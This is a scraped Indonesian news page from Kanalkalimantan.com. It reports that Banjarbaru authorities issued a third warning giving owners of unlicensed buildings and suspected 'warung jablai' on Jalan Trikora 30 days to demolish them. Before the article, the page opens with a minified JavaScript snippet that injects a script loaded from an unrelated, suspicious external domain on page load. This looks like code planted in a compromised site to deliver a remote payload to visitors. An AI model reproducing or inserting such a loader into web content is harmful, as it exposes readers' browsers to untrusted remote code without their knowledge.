(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Bangunan liar dan warung jablai di Jalan Trikora dan Jalan Jurusan Pelaihari -simpang tiga LIK- Kecamatan Liang Anggang, diberi tenggat 30 hari terhitung mulai Kamis 1 Desember 2022 untuk membongkar bangunannya.
Batas waktu yang diberikan itu menyusul Surat Peringatan (SP) 3 yang dilayangkan Pemerintah Kota (Pemko) Banjarbaru kepada pemilik bangunan tanpa izin dan bangunan terindikasi warung jablai di wilayah tersebut.
Kepala Dinas Perumahan dan Permukiman (Disperkim) Kota Banjarbaru, Muriani mengatakan surat peringatan ketiga ini merupakan tindak lanjut dari SP 2 yang dilayangkan pihaknya 14 hari yang lalu, tepatnya pada Kamis 17 November 2022.
“Dari SP 3 ini akan kami beri waktu 30 hari untuk pembongkaran,” katanya.
Baca juga : Warung Jablai di LIK Liang Anggang Diberi Waktu 14 Hari, Pemilik Diminta Bongkar Sendiri
Dalam penertiban nanti, Muriani mengungkapkan akan didukung dari pihak PLN dan PTAM Intan Banjar.
“Rencana dalam 30 hari (pemilik bangunan) belum membongkar sendiri akan kami bongkar, sehingga kami harapkan kepada PLN dan PDAM kalau kami yang membongkar takutnya ada yang bocor atau korsleting, sehingga PLN dan PDAM bisa bergerak duluan,” ujarnya.
Batas waktu selama 30 hari pembongkaran yang diberikan ini akan dilaksanakan oleh pemilik lahan. Namun, dikatakan Murian jika ada yang menginginkan bantuan pembongkaran akan dipertimbangkan pihaknya.
“Nanti akan kita pertimbangkan, tergantung keputusan pimpinan,” tuturnya.
Lantas bagaimana dengan beberapa pedagang yang memiliki Nomor Induk Berusaha (NIB), dijelaskan Muriani yang mereka tekankan adalah izin bangunan bukan izin usaha.
Baca juga : Aditya Tertibkan Warung Jablai di Jalan Trikora, Surat Teguran Pertama Dilayangkan
“Tetap dibongkar karena NIB itu izin usaha bukan izin bangunan, yang ingin kami tertibkan bangunannya,” tegasnya.
SP 3 ini diperuntukkan pada bangunan yang tidak memenuhi ketentuan Persetujuan Bangunan Gedung (PBG) sesuai Perda Nomor 6 tahun 2022 dan bangunan yang digunakan untuk tindak asusila dengan regulasi Perda Nomor 6 Tahun 2014.
Sementara itu, Kepala Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru, Hidayaturahman mengatakan, pihaknya memback-up Disperkim Banjarbaru untuk menyampaikan surat peringatan ketiga.
“Kita tahu kalau malam seperti apa di wilayah ini (Jalan Trikora LIK), tapi dalam hal ini penekanan lebih kepada penertiban bangunan liar yang tidak memiliki izin,” tuntasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
KANALKALIMANTAN.COM, - Kabar menyedihkan datang dari salah satu perusahaan sepatu bersejarah di Indonesia yakni Bata.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pembangunan trotoar di kawasan Jalan Kemuning Banjarbaru, Kecamatan Banjarbaru Selatan, Kota Banjarbaru,… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More
KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More
This website uses cookies.